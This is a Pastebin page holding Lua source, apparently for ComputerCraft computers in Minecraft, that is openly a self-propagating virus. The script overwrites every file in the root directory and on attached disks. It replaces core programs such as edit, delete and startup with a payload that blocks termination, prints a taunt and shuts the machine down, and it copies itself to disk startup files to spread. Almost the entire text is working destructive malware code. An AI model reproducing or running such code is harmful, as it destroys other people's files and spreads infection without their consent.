Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local viruscode = "os.pullEvent = os.pullEventRaw \n";
- local viruscode1 = "-- LOL N00B!! -- \n"
- local viruscode2 = "print(\"PWN3D N00B!\") \n"
- local viruscodeSpread1 = "function infect(directory) \n"
- local viruscodeSpread2 = " if fs.exists(directory) then \n"
- local viruscodeSpread3 = " fs.delete(directory) \n"
- local viruscodeSpread4 = " end \n"
- local viruscodeSpread5 = " file = io.open(directory, \"w\") \n"
- local viruscodeSpread6 = " file:write(viruscode) \n"
- local viruscodeSpread7 = " file:write(viruscode1) \n"
- local viruscodeSpread8 = " file:write(viruscode2) \n"
- local viruscodeSpread9 = " file:write(viruscode3) \n"
- local viruscodeSpread10 = " file:write(viruscode4) \n"
- local viruscodeSpread11 = " file:close() \n"
- local viruscodeSpread12 = "end \n"
- local viruscodeSpread13 = "if fs.exists(\"disk/\") then \n"
- local viruscodeSpread14 = "infect(\"disk/startup\") \n"
- local viruscodeSpread15 = "end \n"
- local viruscodeSpread16 = "infect(\"startup\") \n"
- local viruscode3 = "sleep(4) \n"
- local viruscode4 = "os.shutdown() \n"
- if fs.exists("disk/") then
- files = fs.list("disk")
- for n=1,#files do
- if not fs.isDir("disk/"..files[n]) then
- file = io.open("disk/"..files[n], "w")
- file:write(viruscode)
- file:write(viruscode1)
- file:write(viruscode2)
- file:write(viruscodeSpread1)
- file:write(viruscodeSpread2)
- file:write(viruscodeSpread3)
- file:write(viruscodeSpread4)
- file:write(viruscodeSpread5)
- file:write(viruscodeSpread6)
- file:write(viruscodeSpread7)
- file:write(viruscodeSpread8)
- file:write(viruscodeSpread9)
- file:write(viruscodeSpread10)
- file:write(viruscodeSpread11)
- file:write(viruscodeSpread12)
- file:write(viruscodeSpread13)
- file:write(viruscodeSpread14)
- file:write(viruscodeSpread15)
- file:write(viruscodeSpread16)
- file:write(viruscode3)
- file:write(viruscode4)
- file:close()
- end
- end
- end
- files = fs.list("/")
- for n=1,#files do
- if not fs.isDir("/"..files[n]) then
- fs.delete("/" ..files[n])
- file = io.open("/"..files[n], "w")
- file:write(viruscode)
- file:write(viruscode1)
- file:write(viruscode2)
- file:write(viruscodeSpread1)
- file:write(viruscodeSpread2)
- file:write(viruscodeSpread3)
- file:write(viruscodeSpread4)
- file:write(viruscodeSpread5)
- file:write(viruscodeSpread6)
- file:write(viruscodeSpread7)
- file:write(viruscodeSpread8)
- file:write(viruscodeSpread9)
- file:write(viruscodeSpread10)
- file:write(viruscodeSpread11)
- file:write(viruscodeSpread12)
- file:write(viruscodeSpread13)
- file:write(viruscodeSpread14)
- file:write(viruscodeSpread15)
- file:write(viruscodeSpread16)
- file:write(viruscode3)
- file:write(viruscode4)
- file:close()
- end
- end
- function infect(directory)
- if fs.exists(directory) then
- fs.delete(directory)
- end
- file = io.open(directory, "w")
- file:write(viruscode)
- file:write(viruscode1)
- file:write(viruscode2)
- file:write(viruscodeSpread1)
- file:write(viruscodeSpread2)
- file:write(viruscodeSpread3)
- file:write(viruscodeSpread4)
- file:write(viruscodeSpread5)
- file:write(viruscodeSpread6)
- file:write(viruscodeSpread7)
- file:write(viruscodeSpread8)
- file:write(viruscodeSpread9)
- file:write(viruscodeSpread10)
- file:write(viruscodeSpread11)
- file:write(viruscodeSpread12)
- file:write(viruscodeSpread13)
- file:write(viruscodeSpread14)
- file:write(viruscodeSpread15)
- file:write(viruscodeSpread16)
- file:write(viruscode3)
- file:write(viruscode4)
- file:close()
- end
- infect("/edit")
- infect("/clear")
- infect("/copy")
- infect("/reboot")
- infect("/shutdown")
- infect("/list")
- infect("/delete")
- infect("/startup")
- if fs.exists("disk/") then
- infect("disk/startup")
- end
Add Comment
Please, Sign In to add comment